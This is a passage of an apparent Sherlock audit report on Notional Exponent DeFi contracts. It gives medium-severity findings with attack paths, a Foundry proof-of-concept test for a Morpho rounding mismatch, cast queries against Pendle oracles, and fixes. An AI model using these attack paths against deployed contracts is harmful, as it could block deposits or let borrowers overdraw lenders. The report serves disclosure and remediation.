Now, say Alice comes and wants to withdraw her shares double-sided to crvUSD and USDC and then sells the USDC for crvUSD in the same pool: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L163-L178

As we can see, the tokens received will be sold to the "asset" token, and since the asset is USDC, the USDC withdrawn from the LP will be skipped and only crvUSD will be sold to USDC: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L223-L251

However, as we can see above, `dexId` is not forced. The user can pick CURVE_V2 and set the pool to be the same pool the strategy is depositing into:

https://github.com/notional-finance/leveraged-vaults/blob/7e0abc3e118db0abb20c7521c6f53f1762fdf562/contracts/trading/adapters/CurveV2Adapter.sol#L42-L63

If that's the case, crvUSD will be swapped to USDC in the same pool, and after the `TRADING_MODULE` finishes swapping, it revokes the allowance of the `sellToken`, which in this case is USDC: https://github.com/notional-finance/leveraged-vaults/blob/7e0abc3e118db0abb20c7521c6f53f1762fdf562/contracts/trading/TradingUtils.sol#L54-L57

Now, the user will receive their USDC and a successful withdrawal but what happened is that the yield strategy now has **zero** allowance on the yield token (the Curve pool), which means **no user can deposit into the strategy anymore**. It's permanently blocked because the strategy is always expected to have infinite allowance, but now has none.

Internal Pre-conditions

1. "asset" token is one of the curve lp tokens (very possible)

External Pre-conditions

None needed

Attack Path

1. Exit position double sided with redemption trade using the same curve pool

Impact

Strategy deposits are permanently blocked due to lack of allowance for "asset" token to pool.

PoC

No response

Mitigation

Do not allow CURVE_V2 if "asset" token trade.pool is the same. For CURVE_V2 multiple swaps it could be a problem to check each pool but I guess thats not the case since the router has the one doing the swaps not the strategy.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/32

Issue M-6: Withdrawals ongoing for OETH, apxETH, weETH, and almost any LST are overpriced by the oracle

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/322

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0xpiken, mstpr-brainbot, xiaoming90

Summary

When users initiate a withdrawal, if the yield token has a specific withdrawal method, the withdrawal will be initialized and for LSTs, this means unstaking from the beacon chain, which can take hours, days, or even weeks.

While the withdrawal is not finalized, the price of the token is assumed to be the same as the yield token for example, the OETH amount held in the Withdraw Request Manager contract. However, once the withdrawal is initialized on the beacon chain, LSTs stop earning yield. Therefore, the oracle will always **overprice** the token.

Root Cause

As we can see, when `initiateWithdraw` is called for an LST (e.g., OETH), the OETH will be taken from the yield strategy and sent to the Withdraw Request Manager to initialize the withdrawal process from the beacon chain: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/staking/AbstractStakingStrategy.sol#L64-L74 https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/withdraws/AbstractWithdrawRequestManager.sol#L97-L120 https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/withdraws/Origin.sol#L12-L19

So the OETH withdrawal from the beacon chain is started. OETH is burned and is now waiting for ETH to be finalized and received from the beacon chain.

Meanwhile, since the user still has collateral on the Morpho market, they can continue borrowing. However, once the withdrawal is initiated, the pricing of the tokens becomes inaccurate: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/staking/AbstractStakingStrategy.sol#L50-L54 https://github.com/sherlock-audit/2025-06-notional-exponent/blob/

82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/withdraws/AbstractWithdrawRequestManager.sol#L307-L340

Now, since the withdrawal is not yet finalized, the request remains unfulfilled, and the `else` branch will be executed:

```
else {
    // Otherwise we use the yield token rate
    (tokenRate, /* */) = TRADING_MODULE.getOraclePrice(YIELD_TOKEN, asset);
    tokenDecimals = TokenUtils.getDecimals(YIELD_TOKEN);
    tokenAmount = w.yieldTokenAmount;
}
```

As we can see, the pricing is done using the YIELD_TOKEN, which is OETH. However, the OETH has already been burned, and since it's in the withdrawal queue on the beacon chain, **it no longer earns yield!**

Internal Pre-conditions

None needed

External Pre-conditions

None needed

Attack Path

1. Initiate withdraw
2. Collateral is overpriced borrow more without taking LST risk

Impact

Since the LST holding risk is no longer present once a withdrawal request is initiated and also due to the overpricing of it, users can borrow more from the Morpho market, even though their actual collateral is not as high as it's assumed to be.

The opposite case can also be problematic, where the LST price decreases (e.g., due to slashing), and the collateral ends up being underpriced.

PoC

No response

Mitigation

For LST's override the `getWithdrawRequestValue` function

Discussion

T-Woodward

Valuation inaccuracy is negligible here.

A fix for a different issue disables borrowing directly from Morpho - that will fully neuter any threat due to this issue. Users won't be able to take advantage of a higher collateral value by borrowing directly from Morpho or borrowing through Notional because their Notional tx would revert due to an existing withdrawal request. Finally, if a user should be eligible for liquidation based on their ”true” collateral value, but is not currently, anyone can call finalizeRequestManual which will switch over their valuation methodology to the true value.

Issue M-7: Rounding discrepancy between `MorphoLendingRouter::healthFactor` and `Morpho::repay` causes position migration failures

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/417

Found by

0xRstStn, 0xpiken, Bigsam, Ragnarok, bretzel, mstpr-brainbot, rudhra1749, shiazinho, talfao, touristS, wickie, xiaoming90

Summary

A flaw in how borrow assets are calculated in `MorphoLendingRouter::healthFactor` causes position migrations to revert under specific conditions. The function underestimates the true debt owed by rounding down, while `Morpho` internally rounds up for repayment. This discrepancy leads to insufficient asset transfers during `AbstractLendingRouter::migratePosition`, breaking a core protocol feature.

Although the rounding difference may not appear initially, it inevitably emerges over time as interest accrues and the market grows, causing migrations that once worked to start failing silently, making this a latent but critical bug.

Root Cause

In `MorphoLendingRouter::healthFactor`, the borrowed assets are calculated using integer division:

MorphoLendingRouter::healthFactor#L279

```
if (position.borrowShares > 0) {
    borrowed = (uint256(position.borrowShares) * uint256(market.totalBorrowAssets))
     ↪  / uint256(market.totalBorrowShares);
}
```

However, In `Morpho::_isHealthy` and `Morpho::repay`, the equivalent borrow amount is calculated using a rounding-up approach:

Morpho::_isHealthy#L532

```
uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
    market[id].totalBorrowAssets, market[id].totalBorrowShares
);
```

Morpho::repay#L284

```
else assets = shares.toAssetsUp(market[id].totalBorrowAssets,
 ↪  market[id].totalBorrowShares);
```

The discrepancy causes `MorphoLendingRouter::healthFactor` to underestimate the amount required to repay a loan, especially by ~1 wei in precision-sensitive scenarios, like `AbstractLending::migratePosition`.

Internal Pre-conditions

- The user's position must have some borrowed assets.
- No excess asset tokens are held in the new router during migration (which is by design).

External Pre-conditions

Initially, this rounding inconsistency may not manifest. However, as the market accrues interest and grows, the discrepancy between the round-down calculation used by `MorphoLendingRouter::healthFactor` and the round-up logic used internally by Morpho (e.g. in repay) will inevitably emerge, even for previously safe positions.

Attack Path

1. `migratePosition` calls `healthFactor` on the previous router, which underestimates the borrow amount.
2. This amount is used to request a flash loan.
3. During `_exitWithRepay`, Morpho calls `repay()` with the actual borrow shares.
4. `repay()` requires more assets (rounded-up) than were flash-borrowed.
5. The internal `safeTransferFrom` fails due to insufficient balance.
6. The entire migration reverts.

Check the impact section for more details.

Impact

This bug has a significant impact: it breaks the `migratePosition` functionality, a core protocol feature designed to allow seamless transitions between lending routers.

The issue stems from an underestimated borrow amount returned by `MorphoLendingRouter::healthFactor`, due to incorrect rounding (rounding down instead of up). This results in insufficient funds being flash-loaned during a migration, ultimately causing the entire operation to revert.

Here's a breakdown of how this failure manifests step by step:

1. In `AbstractLending::migratePosition` the borrowAmount is obtained from healthFactor (which underestimates the actual borrow due to rounding down):

AbstractLendingRouter::migratePosition#L74

```
function migratePosition(
    address onBehalf,
    address vault,
    address migrateFrom
) public override isAuthorized(onBehalf, vault) {
    if (!ADDRESS_REGISTRY.isLendingRouter(migrateFrom)) revert
    ↪  InvalidLendingRouter();
    // Borrow amount is set to the amount of debt owed to the previous lending
    ↪  router
@>  (uint256 borrowAmount, /* */, /* */) =
↪   ILendingRouter(migrateFrom).healthFactor(onBehalf, vault);

@>  _enterPosition(onBehalf, vault, 0, borrowAmount, bytes(""), migrateFrom);
}
```

2. `_enterPosition` passes the underestimated `borrowAmount` into `_flashBorrowAndEnter`, which requests a flash loan for that exact amount:

AbstractLendingRouter::_enterPosition#L97

```
if (borrowAmount > 0) {
    _flashBorrowAndEnter(
        onBehalf, vault, asset, depositAssetAmount, borrowAmount, depositData,
        ↪  migrateFrom
    );
}
```

3. In the `MorphoLendingRouter::onMorphoFlashLoan` callback, `_enterOrMigrate` is called using only the flash loaned amount (no extra funds):

MorphoLendingRouter::onMorphoFlashLoan#L140

```
function onMorphoFlashLoan(uint256 assets, bytes calldata data) external override {
    require(msg.sender == address(MORPHO));

    (
        address onBehalf,
        address vault,
        address asset,
        uint256 depositAssetAmount,
        bytes memory depositData,
```

```
        address migrateFrom
    ) = abi.decode(data, (address, address, address, uint256, bytes, address));

@>  _enterOrMigrate(onBehalf, vault, asset, assets + depositAssetAmount,
↪  depositData, migrateFrom);
    // Note: depositAssetAmount here is equal to 0, so we're passing only the asset
    ↪  amount we get from `MorphoLendingRouter::healthFactor`
    ...
}
```

4. Because this is a migration, `exitPosition` is called with `assetToRepay = type(uint256).max`, signaling a full repayment:

AbstractLendingRouter::_enterOrMigrate#L236

```
    function _enterOrMigrate(
        address onBehalf,
        address vault,
        address asset,
        uint256 assetAmount,
        bytes memory depositData,
        address migrateFrom
    ) internal returns (uint256 sharesReceived) {
        if (migrateFrom != address(0)) {
            // Allow the previous lending router to repay the debt from assets held
            ↪  here.
            ERC20(asset).checkApprove(migrateFrom, assetAmount);
            sharesReceived =
            ↪  ILendingRouter(migrateFrom).balanceOfCollateral(onBehalf, vault);

            // Must migrate the entire position
@>          ILendingRouter(migrateFrom).exitPosition(
                onBehalf, vault, address(this), sharesReceived, type(uint256).max,
                ↪  bytes("")
            );
        }
        ...
    }
```

5. Inside `_exitWithRepay`, the logic switches to using the user's `borrowShares` directly to calculate repayment:

MorphoLendingRouter::_exitWithRepay#L192

```
    function _exitWithRepay(
        address onBehalf,
        address vault,
        address asset,
        address receiver,
        uint256 sharesToRedeem,
```

```
        uint256 assetToRepay,
        bytes calldata redeemData
    ) internal override {
        MarketParams memory m = marketParams(vault, asset);

        uint256 sharesToRepay;
@>      if (assetToRepay == type(uint256).max) {
            // If assetToRepay is uint256.max then get the morpho borrow shares
            ↪  amount to
            // get a full exit.
@>          sharesToRepay = MORPHO.position(morphoId(m), onBehalf).borrowShares;
@>          assetToRepay = 0;
        }

        bytes memory repayData = abi.encode(
            onBehalf, vault, asset, receiver, sharesToRedeem, redeemData,
            ↪  _isMigrate(receiver)
        );

        // Will trigger a callback to onMorphoRepay
@>      MORPHO.repay(m, assetToRepay, sharesToRepay, onBehalf, repayData);
    }
```

6. When Morpho receives the repay request, it uses `toAssetsUp()` – rounding up the amount needed to repay the debt. Morpho::repay#L284
7. `Morpho` then calls back to `MorphoLendingRouter::onMorphoRepay`, which attempts to transfer `assetToRepay` from the receiver:

MorphoLendingRouter::onMorphoRepay#L224

```
@>  function onMorphoRepay(uint256 assetToRepay, bytes calldata data) external
↪   override {
        require(msg.sender == address(MORPHO));

        ...

        if (isMigrate) {
            // When migrating we do not withdraw any assets and we must repay the
            ↪  entire debt
            // from the previous lending router.
@>          ERC20(asset).safeTransferFrom(receiver, address(this), assetToRepay);
            // assetToRepay here is the value passed as parameter from
            ↪  Morpho::repay, rounded-up
            assetsWithdrawn = assetToRepay;
        }
    ...
    }
```

This transfer fails because the flash-loaned amount was based on a rounded-down borrow calculation, and is ~1 wei short.

8. Since lending routers do not hold idle assets (by design), there are no extra funds available to cover the difference. This causes the `safeTransferFrom` to revert, breaking the migration flow entirely.

PoC

This proof of concept demonstrates the discrepancy between `MorphoLendingRouter::healthFactor` and Morpho's internal borrow asset calculation (`toAssetsUp`). It uses a real, high-liquidity and interest-accruing market, eUSDE/USDE, as an example, to show how the rounding difference manifests in production conditions.

The following test compares the result of:

- `MorphoLendingRouter::healthFactor` round-down calculation (Notional's implementation)
- vs Morpho's `toAssetsUp()` round-up logic (used during actual repayment).

1. Create a file named `POC.sol` in `tests/` folder.
2. Add the following code to the newly created file:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console2} from "forge-std/src/Test.sol";
import {MORPHO, Id, IMorphoStaticTyping} from "src/interfaces/Morpho/IMorpho.sol";

contract POC3 is Test {
    /// @dev Warning: The assets to which virtual borrow shares are entitled behave
     ↪  like unrealizable bad debt.
    uint256 internal constant VIRTUAL_SHARES = 1e6;

    /// @dev A number of virtual assets of 1 enforces a conversion rate between
     ↪  shares and assets when a market is
    /// empty.
    uint256 internal constant VIRTUAL_ASSETS = 1;

    // to run this test use --fork-url $RPC_URL
    // rpc-url needs to be mainnet
    function test_healthFactorReturnsIncorrectBorrowAmountOnChain() public view {
        uint256 shares = 100e6;

        Id id = Id.wrap(0x140fe48783fe88d2a52b31705577d917628caaf74ff79865b39d4c2aa
         ↪  6c2fd3c);
        (,, uint128 totalBorrowAssets, uint128 totalBorrowShares,,) =
         ↪  IMorphoStaticTyping(address(MORPHO)).market(id);
```

```
    uint256 notionalResult = _calculationNotional(shares, totalBorrowAssets,
    ↪  totalBorrowShares);
    uint256 morphoResult = _calculationMorpho(shares, totalBorrowAssets,
    ↪  totalBorrowShares);

    console2.log("Protocol borrow amount calculated: ", notionalResult);
    console2.log("Needed assets to repay loan by Morpho calculation: ",
    ↪  morphoResult);

    assertLt(notionalResult, morphoResult);
}

function test_healthFactorReturnsIncorrectBorrowAmount() public pure {
    // 1. User will try to redeem 100e6 shares;
    uint256 shares = 100e6;

    // Snapshoted values from Morpho market
    ↪  0x140fe48783fe88d2a52b31705577d917628caaf74ff79865b39d4c2aa6c2fd3c
    ↪  (eUSDE, USDE)
    // https://app.morpho.org/ethereum/market/0x140fe48783fe88d2a52b31705577d91
    ↪  7628caaf74ff79865b39d4c2aa6c2fd3c/eusde-usde
    // 07/16/2025
    uint256 totalBorrowAssets = 1683699089027334601033968;
    uint256 totalBorrowShares = 1607215221550593809991229062204;

    uint256 notionalResult = _calculationNotional(shares, totalBorrowAssets,
    ↪  totalBorrowShares); // Round down to 104
    uint256 morphoResult = _calculationMorpho(shares, totalBorrowAssets,
    ↪  totalBorrowShares); // Round up to 105

    console2.log("Protocol borrow amount calculated: ", notionalResult);
    console2.log("Needed assets to repay loan by Morpho calculation: ",
    ↪  morphoResult);

    assertLt(notionalResult, morphoResult);
}

function _calculationMorpho(uint256 a, uint256 b, uint256 c) internal pure
↪  returns (uint256) {
    return toAssetsUp(a, b, c);
}

function _calculationNotional(uint256 a, uint256 b, uint256 c) internal pure
↪  returns (uint256) {
    return (a * b) / c;
}

/// @dev Calculates the value of `shares` quoted in assets, rounding up.
function toAssetsUp(uint256 shares, uint256 totalAssets, uint256 totalShares)
↪  internal pure returns (uint256) {
```

```
        return mulDivUp(shares, totalAssets + VIRTUAL_ASSETS, totalShares +
        ↪  VIRTUAL_SHARES);
    }

    /// @dev Returns (`x` * `y`) / `d` rounded up.
    function mulDivUp(uint256 x, uint256 y, uint256 d) internal pure returns
    ↪  (uint256) {
        return (x * y + (d - 1)) / d;
    }
}
```

3. Run:

```
forge test --mt test_healthFactorReturnsIncorrectBorrowAmount -vvvv
```

Output:

```
  Traces:
[18020] POC3::test_healthFactorReturnsIncorrectBorrowAmountOnChain()
    [6929] 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb::market(0x140fe48783fe88d2a52⌋
  ↪  b31705577d917628caaf74ff79865b39d4c2aa6c2fd3c) [staticcall]
       ← [Return] Market({ totalSupplyAssets: 1948947786194877138152276 [1.948e24],
  ↪  totalSupplyShares: 1870086616999893965690591681848 [1.87e30],
  ↪  totalBorrowAssets: 1682873320105785386589083 [1.682e24], totalBorrowShares:
  ↪  1606423686119321497595859897438 [1.606e30], lastUpdate: 1752690551 [1.752e9],
  ↪  fee: 0 })
    [0] console::log("Protocol borrow amount calculated: ", 104) [staticcall]
       ← [Stop]
    [0] console::log("Needed assets to repay loan by Morpho calculation: ", 105)
  ↪  [staticcall]
       ← [Stop]
    [0] VM::assertLt(104, 105) [staticcall]
       ← [Return]
    ← [Stop]
```

This 1 wei difference may seem small, but it's sufficient to cause position migration to fail when exact asset repayment is required.

Mitigation

Update `MorphoLendingRouter::healthFactor` to match Morpho's internal borrow share conversion, using the same rounding-up logic:

```
borrowed = toAssetsUp(position.borrowShares, market.totalBorrowAssets,
↪  market.totalBorrowShares);
```

> Note: don't forget to add virtual asset/share offset constants (e.g., VIRTUAL_ASSETS, VIRTUAL_SHARES).

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/8

Issue M-8: Emission rewards will keep accruing even the yield strategy is empty

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/511

Found by

mstpr-brainbot

Summary

When there are no depositors in the yield strategy, emission rewards should stop accruing. However, the current implementation incorrectly assumes that effectiveSupply will never be zero its minimum value is hardcoded to 1e6 due to virtual shares. As a result, rewards continue to accrue even when the strategy is completely empty, which is unintended behavior.

Root Cause

As we can see here, when `effectiveSupply < 0`, reward emissions should **not** accrue—this is intended to ensure rewards are only distributed when there are actual depositors in the yield strategy.

However, this assumption is incorrect because `effectiveSupply` is **never zero** due to `VIRTUAL_SHARES`, even when there are no real depositors! See:
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/AbstractYieldStrategy.sol#L149-L151

Internal Pre-conditions

None needed

External Pre-conditions

None needed

Attack Path

Happens naturally

Impact

All the emission rewards will accrue to rewardPerToken unnecessarily. Functionality broken whats intended is not prevented.

PoC

No response

Mitigation

instead of checking effective supply against ”0” check against VIRTUAL_SHARES or use totalSupply.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/27

Issue M-9: OETH Strategy Broken as Rebasing Not Enabled

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/538

Found by

h2134, seeques, talfao

Summary

The Yield Strategy using Origin ETH is not functioning as intended due to a design flaw. It utilizes Origin ETH with rebasing turned off. Since rebasing is required to receive ETH yield rewards, the strategy fails to generate yield. The Notional Protocol team confirmed that the protocol should ideally migrate to Wrapped OETH to enable proper yield accrual.

Root Cause

The issue lies in the design, specifically in Origin.sol:_stakeTokens..., where the Origin Vault is used to exchange WETH for OETH. However, the OETH used has rebasing disabled, which prevents it from generating yield. According to the Origin Protocol documentation:

> *By default, OUSD, OETH, OS and Super OETH held on smart contracts will not participate in the rebasing nature of the token and will forfeit any yield unless the smart contract explicitly opts in.* ref

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

This is a design flaw and has been confirmed by the protocol team.

Impact

Core functionality is broken – the strategy fails to generate yield. This can result in a high risk of liquidation since the debt will increase while no yield offsets it (especially if used within Morpho).

PoC

Not required. The issue is confirmed in the OETH documentation and can also be verified in the OETH source code.

Mitigation

The simplest mitigation is to migrate to Wrapped OETH, which supports yield accrual.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/22

Issue M-10: Incorrect asset matching for ETH/WETH leads to potential DoS of exitPosition in CurveConvexStrategy

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/581

Found by

0xDeoGratias, Cybrid, HeckerTrieuTien, auditgpt, bretzel, touristS

Summary

When redeeming shares in `CurveConvexStrategy`, the `_executeRedemptionTrades` function is intended to skip swap logic for the primary token. However, when the strategy's asset is WETH and one of the exit tokens is ETH_ADDRESS, the comparison `(address(tokens[i]) == address(asset))` fails because ETH and WETH have different addresses. This leads to an unnecessary swap attempt using invalid trade parameters, potentially causing a denial of service (DoS).

Root Cause

In the CurveConvex strategy, when redeeming shares (via `exitPosition` or `initiateWithdraw`), LP tokens are first unstaked and exited from the pool using `unstakeAndExitPool()`. If one of the pool tokens is native ETH and the strategy's `ASSET` is WETH, the strategy wraps ETH into WETH. https://github.com/sherlock-audit/2025-06-notional-exponent-sylvarithos/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L205

```
function unstakeAndExitPool(
    uint256 poolClaim, uint256[] memory _minAmounts, bool isSingleSided
) external returns (uint256[] memory exitBalances) {
    _unstakeLpTokens(poolClaim);

    exitBalances = _exitPool(poolClaim, _minAmounts, isSingleSided);

205  if (ASSET == address(WETH)) {
        if (TOKEN_1 == ETH_ADDRESS) {
            WETH.deposit{value: exitBalances[0]}();
        } else if (TOKEN_2 == ETH_ADDRESS) {
            WETH.deposit{value: exitBalances[1]}();
        }
```

```
    }
}
```

When not singlesided trade, it executes trade to convert to primary token.
https://github.com/sherlock-audit/2025-06-notional-exponent-sylvarithos/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L176

```
function _redeemShares(
    uint256 sharesToRedeem,
    address sharesOwner,
    bool isEscrowed,
    bytes memory redeemData
) internal override {
    RedeemParams memory params = abi.decode(redeemData, (RedeemParams));
    ...
    if (!isSingleSided) {
        // If not a single sided trade, will execute trades back to the primary
         ↪  token on
        // external exchanges. This method will execute EXACT_IN trades to ensure
         ↪  that
        // all of the balance in the other tokens is sold for primary.
        // Redemption trades are not automatically enabled on vaults since the
         ↪  trading module
        // requires explicit permission for every token that can be sold by an
         ↪  address.
        _executeRedemptionTrades(tokens, exitBalances, params.redemptionTrades);
    }
}
```

However, in `_executeRedemptionTrades()`, when iterating over the `tokens` array to check if a token matches `asset` (to skip trading), it uses a strict equality check:
https://github.com/sherlock-audit/2025-06-notional-exponent-sylvarithos/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L229

```
function _executeRedemptionTrades(
    ERC20[] memory tokens,
    uint256[] memory exitBalances,
    TradeParams[] memory redemptionTrades
) internal returns (uint256 finalPrimaryBalance) {
    for (uint256 i; i < exitBalances.length; i++) {
229     if (address(tokens[i]) == address(asset)) {
            finalPrimaryBalance += exitBalances[i];
            continue;
        }

        TradeParams memory t = redemptionTrades[i];
        // Always sell the entire exit balance to the primary token
```

```
        if (exitBalances[i] > 0) {
            Trade memory trade = Trade({
                tradeType: t.tradeType,
                sellToken: address(tokens[i]),
                buyToken: address(asset),
                amount: exitBalances[i],
                limit: t.minPurchaseAmount,
                deadline: block.timestamp,
                exchangeData: t.exchangeData
            });
            (/* */, uint256 amountBought) = _executeTrade(trade, t.dexId);

            finalPrimaryBalance += amountBought;
        }
    }
}
```

This fails when `tokens[i]` is ETH (i.e., `ETH_ADDRESS`) and `asset` is WETH, even though ETH was already converted into WETH during the exit step. This leads to an unnecessary swap attempt using invalid trade parameters, potentially causing a denial of service (DoS).

Internal Pre-conditions

- The strategy asset is set to WETH.
- The LP token pool contains ETH as one of its underlying tokens.

Impact

A revert in `_executeTrade()` halts redemptions, locking user funds in the vault. This can block all users from exiting if their share includes ETH from the pool.

Mitigation

Should compare with primary_index.

```
function _executeRedemptionTrades(
    ERC20[] memory tokens,
    uint256[] memory exitBalances,
    TradeParams[] memory redemptionTrades
) internal returns (uint256 finalPrimaryBalance) {
    for (uint256 i; i < exitBalances.length; i++) {
```

```
-       if (address(tokens[i]) == address(asset)) {
+       if (address(tokens[i]) == PRIMARY_INDEX()) {
            finalPrimaryBalance += exitBalances[i];
            continue;
        }
    ...
}
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/26/files

Issue M-11: Users unable to claim rewards when Curve LP tokens are staked to Curve Gauge.

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/595

Found by

Bluedragon, Riceee, bretzel, touristS, xiaoming90

Summary

According to the contest sponsors the `AbstractRewardManager` acts as the core logic contract for both Booster and Gauge Reward Managers. But claiming rewards for gauge branch is not implemented.

Vulnerability details

The issue here lies when the `CONVEX_BOOSTER` is not initialised. When a user enters a position via Notional, their assets are deposited to a curve pool and the vault receives LP tokens which are further staked for rewards in the Curve Gauge.

When we take a look at the _stakeLpTokens used to stake the LP tokens, we see they are directly staked to Curve Gauge if Booster is not initialised. But the issue is claiming rewards is only implemented for the Convex Strategy and not for this scenario when LP tokens are staked to Gauge Strategy.

Lets look at the flow of reward claim -->

1. User calls `claimRewards` on the router
2. `RewardManagerMixin::claimAccountRewards` is called
3. `RewardManagerMixing::_updateAccountRewards` is invoked
4. Delegate call to `updateAccountRewards` on `AbstractRewardManager`
5. This internally calls the `_claimVaultRewards`

Given that the `AbstractRewardManager` is the underlying core contract logic for reward claim. Here we notice that the `_claimVaultRewards` function has a check `if (rewardPool.rewardPool == address(0)) return;` This causes the control flow to return the claim execution process when the rewardPool is not set, which is the case when tokens are staked to Gauge. Resulting in users not able to claim their reward shares from the Curve Gauge.

Impact

The protocol users cannot claim any rewards if the strategy uses Gauge instead of Booster.

Code Snippets

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/rewards/AbstractRewardManager.sol#L190

Mitigation

When rewardPool == address(0), i.e., the strategy uses Gauge, instead of shortcircuiting, implement logic to claim rewards from the Gauge contract.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/28

Issue M-12: `PendlePTOracle._getPTRate` isn't correct for some market

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/623

Found by

jasonxiale

Summary

Quoting from the comment

> ptRate is always returned in 1e18 decimals

The `PendlePTOracle._getPTRate` function assumes `ptRate` is always in 1e18 decimals, which isn't correct for some market.

Root Cause

In function PendlePTOracle._getPTRate, two AIP will be called: `PENDLE_ORACLE.getPtToSyRate` and `PENDLE_ORACLE.getPtToAssetRate`.

```
    /// @dev ptRate is always returned in 1e18 decimals
    function _getPTRate() internal view returns (int256) {
        uint256 ptRate = useSyOracleRate ?
            PENDLE_ORACLE.getPtToSyRate(pendleMarket, twapDuration) :
            PENDLE_ORACLE.getPtToAssetRate(pendleMarket, twapDuration);
        return ptRate.toInt();
    }
```

1. function `PENDLE_ORACLE.getPtToAssetRate` will always return ptRate in 1e18 decimals
2. function `PENDLE_ORACLE.getPtToSyRate` will return ptRate in larger decimals for some markets.

For example: market 0x83916356556f51dcBcB226202c3efeEfc88d5eaA, 0x9471d9c5B57b59d42B739b00389a6d520c33A7a9, 0x08946D1070bab757931d39285C12FEf4313b667B, 0x1C3bA40210fa290de13c62Fe1a9EfcB694725D10, 0x0271A803f0d3Dec9cCd105A4A4d41e6Ee1458765, 0xEDda7526EC81055F2af99d51D968FC2FBca9Ee96, 0xE4AF6375F4424b61B91A1E96b9dE6ff8E842AA3A Becase PENDLE_ORACLE is defined as `0x66a1096C6366b2529274dF4f5D8247827fe4CEA8`, we can query those market direct from the cast.

```
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0x83916356556f51dcBcB226202c3efeEfc88d5eaA 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0x9471d9c5B57b59d42B739b00389a6d520c33A7a9 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0x08946D1070bab757931d39285C12FEf4313b667B 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0x1C3bA40210fa290de13c62Fe1a9EfcB694725D10 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0x0271A803f0d3Dec9cCd105A4A4d41e6Ee1458765 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0xEDda7526EC81055F2af99d51D968FC2FBca9Ee96 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0xE4AF6375F4424b61B91A1E96b9dE6ff8E842AA3A 3600;
```

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

For example: market 0x83916356556f51dcBcB226202c3efeEfc88d5eaA, 0x9471d9c5B57b59d42B739b00389a6d520c33A7a9, 0x08946D1070bab757931d39285C12FEf4313b667B, 0x1C3bA40210fa290de13c62Fe1a9EfcB694725D10, 0x0271A803f0d3Dec9cCd105A4A4d41e6Ee1458765, 0xEDda7526EC81055F2af99d51D968FC2FBca9Ee96, 0xE4AF6375F4424b61B91A1E96b9dE6ff8E842AA3A Becase PENDLE_ORACLE is defined as `0x66a1096C6366b2529274dF4f5D8247827fe4CEA8`, we can query those market direct from the cast.

```
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
